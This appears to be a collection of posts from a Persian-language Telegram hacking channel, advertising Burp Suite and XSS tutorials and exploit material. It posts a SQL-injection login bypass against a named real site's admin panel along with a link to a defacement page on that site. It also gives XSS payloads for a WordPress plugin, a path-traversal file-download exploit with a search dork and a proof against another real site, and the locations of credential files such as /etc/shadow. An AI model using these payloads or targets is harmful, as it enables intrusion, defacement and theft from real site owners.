ابزار قدرتمند WAScan
#wascan #scanner

Link download : https://github.com/m4ll0k/WAScan


=============
T.me/LearNExploiT

اموزش اپدیت burpsuite به اخرین نسخه در kali linux 2017.1

اموزش اپدیت burpsuite به اخرین نسخه در kali linux 2017.1

#Target :
http://easternlogisticsbd.com/admin

user : '=' 'or'
pass : '=' 'or'

I'm Here :)
http://easternlogisticsbd.com/admin/thumbs/Deafce2.html
========
#X0P4SH4
0Day.Today
T.me/LearnExploit

دوستان این اموزش یک سال پیش رکورد شده
ولی نحوه ی کار یکی هست !

SSL Capture

@LearnExploit

اموزش burpSuit برای دور زدن uploader ها
#Learning #BurpSuit on #Kalilinux (2018.2) for #Upladers #Bypassing
=====
@LearnExploit
--> 0Day.Today of TON

اموزش burpSuit برای دور زدن uploader ها
#Learning #BurpSuit on #Kalilinux (2018.2) for #Upladers #Bypassing
=====
مباحثی که در بخش گفته شده :
1 - کانفیگ burp Suit بر روی مرورگر firefox (تقریبا روی همه ی مرورگر ها یکی هست )
2 - نحوه ی بایپس uploader و بایپس حجم فایل ها !
3 - استفاده از متد هایی برای اجرا شدن فایل های PHP (به جای نشان دادن لینک دانلود)
=====
File Size : 68 MG
Time : 14 min
Dl LINK : http://www.mediafire.com/file/n9b28lgqkm5vx87/BurpSuit.rar
=====
@LearnExploit
--> 0Day.Today of TON

اموزش XSS در دو سطح low و medium
#Xss #Learning in Two levels : #Low #Medium security
—————
0Day.Today boy's
t.me/LearnExploit

اموزش XSS در دو سطح low و medium
#Xss #Learning in Two levels : #Low #Medium security
—————
بخش هایی که در این فیلم یاد میگیرید :
1 - تست نفوذ XSS در سطح low
2 - رفع این اسیب پذیری از سطح low به medium
3 - تست نفوذ XSS در سطح Medium
—————
Time : 6 min
Qul : 1080
file size : 36 mg
dl link : http://www.mediafire.com/file/sp8x511qm3bkw5p/Xss%20Learning.rar
—————
0Day.Today boy's
t.me/LearnExploit

POC
اسیب پذیریه XSS در پلاگین (All In One Favicon ) :
#XSS #Multiple #Vul in #wp #plugin #all_In_One_Favicon
0Day.Today Boy's
@LearnExploit

اسیب پذیریه XSS در پلاگین (All In One Favicon ) :
#XSS #Multiple #Vul in #wp #plugin #all_In_One_Favicon
—————-
این اسیب پذیری در نسخه های پاین تر از 4.6 به هکر اجازه ی اجرا کردن کد های جاوا اسکریپت رو میده
url : http://localhost/wordpress/wp-admin/options-general.php?page=all-in-one-favicon%2Fall-in-one-favicon.php
==
پارامتر هایی که این اسیب پذیریو دارند :
backendApple-Text
backendICO-Text
backendPNG-Text
backendGIF-Text
frontendApple-Text
frontendICO-Text
frontendPNG-Text
frontendGIF-Text
==
پیلود هایی که برای این اسیب پذیری استفاده میشه :
"><img src=a onerror=alert(1)>
"><img src=a onerror=alert(String.fromCharCode(88,83,83))>
==
Exploit link :
https://www.exploit-db.com/exploits/45056/
—————————
0Day.Today Boy's
@LearnExploit

اسیب پذیری (FTP2FTP ( Arbitrary File Download :
در این اسیب پذیری شما میتوانید تمام فایل هایی که توسط ادمین سایت اپلود شده است رو دانلود کنید !
—
Dork : inurl:/download2.php?id=
—
Exploit :
http(s)://host.com/[patch]?id=../index.php
or
http(s)://host.com/[patch]?id=/index.php
—
POC :
before exploit :
http://www.supersat.cz/download/azbox/download2.php?id=23
after exploit :
http://www.supersat.cz/download/azbox/download2.php?id=../index.php
=========================
0Dya.Today Boy's
T.me/LearnExploit

✔️ مکان #اطلاعات_مهم در سیستم لینوکس شما

/etc/resolv.conf
-> سرورهای فعلی (DNS) برای سیستم

/etc/motd
-> پیام روز

/etc/issue
-> نسخه فعلی توزیع لینوکس شما

/etc/passwd
-> فهرست کاربران محلی

/etc/shadow
-> لیست هشهای کلمه عبور کاربران (نیاز به دسترسی روت)

@LearnExploit

اسیب پذیری فایل اپلود در پلاگین (Responsive Thumbnail Slider )
WordPress Plugin Responsive Thumbnail Slider - Arbitrary File Upload (Metasploit)
============
@LearnExploit